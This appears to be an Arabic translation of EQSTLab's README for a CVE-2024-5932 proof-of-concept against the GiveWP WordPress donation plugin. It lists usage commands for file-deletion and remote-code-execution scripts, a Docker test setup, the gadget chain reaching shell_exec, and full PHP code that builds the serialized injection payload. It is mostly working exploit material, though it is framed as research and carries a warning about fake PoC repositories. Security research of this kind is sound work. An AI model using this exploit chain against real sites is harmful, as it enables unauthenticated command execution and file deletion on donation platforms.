
استغلال ثغرة حقن كائن PHP في GiveWP
هذا المنشور عبارة عن مقالة بحثية نشرها EQSTLab.
توجد حاليًا مستودعات GitHub مزيفة لإثباتات المفهوم (PoC) تقوم بتشغيل xmrig. اطلع على الروابط أدناه لمزيد من المعلومات:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 إثبات مفهوم (PoC) لحذف الملفات التعسفي وتنفيذ الأوامر عن بُعد (RCE) ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 أغسطس : تم رفع إثبات المفهوم (PoC) لحذف الملفات لثغرة CVE-2024-5932
26 أغسطس : نجحنا في تنفيذ أوامر تعسفية باستخدام CVE-2024-5932، لكننا ندرس الإفصاح عنها نظرًا لتأثيرها.
27 أغسطس : وجدنا تحليلًا مفصلًا لإثبات المفهوم في منشور بقلم Julien Ahrens من RCE Security، وقررنا نشر إثبات المفهوم الخاص بنا لتنفيذ الأوامر عن بُعد (RCE). قمنا برفع إثبات مفهوم إضافي لـ RCE تحت اسم CVE-2024-5932-rce.py.
CVE-2024-5932: ثغرة حقن كائنات PHP (PHP Object Injection) في GiveWP الوصف: إضافة GiveWP، وهي إضافة التبرعات ومنصة جمع التبرعات لووردبريس، قابلة للاستغلال عبر حقن كائنات PHP في جميع الإصدارات حتى الإصدار 3.14.1 وما يتضمنه، وذلك من خلال إلغاء تسلسل مدخلات غير موثوقة من معامل 'give_title'. وهذا يتيح للمهاجمين غير الموثّقين حقن كائن PHP. كما أن وجود سلسلة POP إضافية يتيح للمهاجمين تنفيذ الأكواد عن بُعد وحذف الملفات التعسفي.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



أولًا، قم بالوصول إلى شل ووردبريس باستخدام الأمر التالي:
docker exec -it -u root docker-wordpress-1 /bin/bash
إذا كان الملف مملوكًا للمستخدم root، فقد لا يتم حذفه بسبب الصلاحيات. لذلك، تحتاج إلى تغيير ملكية ملف الاختبار باستخدام الأمر التالي:
touch test && chown www-data test

يمكنك تصحيح أخطاء إضافة GiveWP باستخدام PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..وبعد ذلك يمكنك تصحيح أخطاء ووردبريس الخاص بك.


في هذه النقطة، تقوم الدالة get_meta() بإلغاء تسلسل القيمة "give_title" المحفوظة مسبقًا.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: استبدال البايتات الفارغة -> باستخدام \0
stripslashes_deep: استبدال الخطوط المائلة العكسية -> باستخدام \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (إرجاع سلسلة الأوامر)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
تسمح سلسلة POP بتنفيذ الأوامر عن بُعد.

باستخدام TCPDF، يمكنك استغلال حذف الملفات التعسفي.
لا يُقصد من هذا المستودع أن يكون استغلالًا لحقن الكائنات (Object Injection) لثغرة CVE-2024-5932. الغرض من هذا المشروع هو مساعدة الأشخاص على تعلّم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
ننشر تحليلات لثغرات CVE وللبرمجيات الخبيثة مرة واحدة شهريًا. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do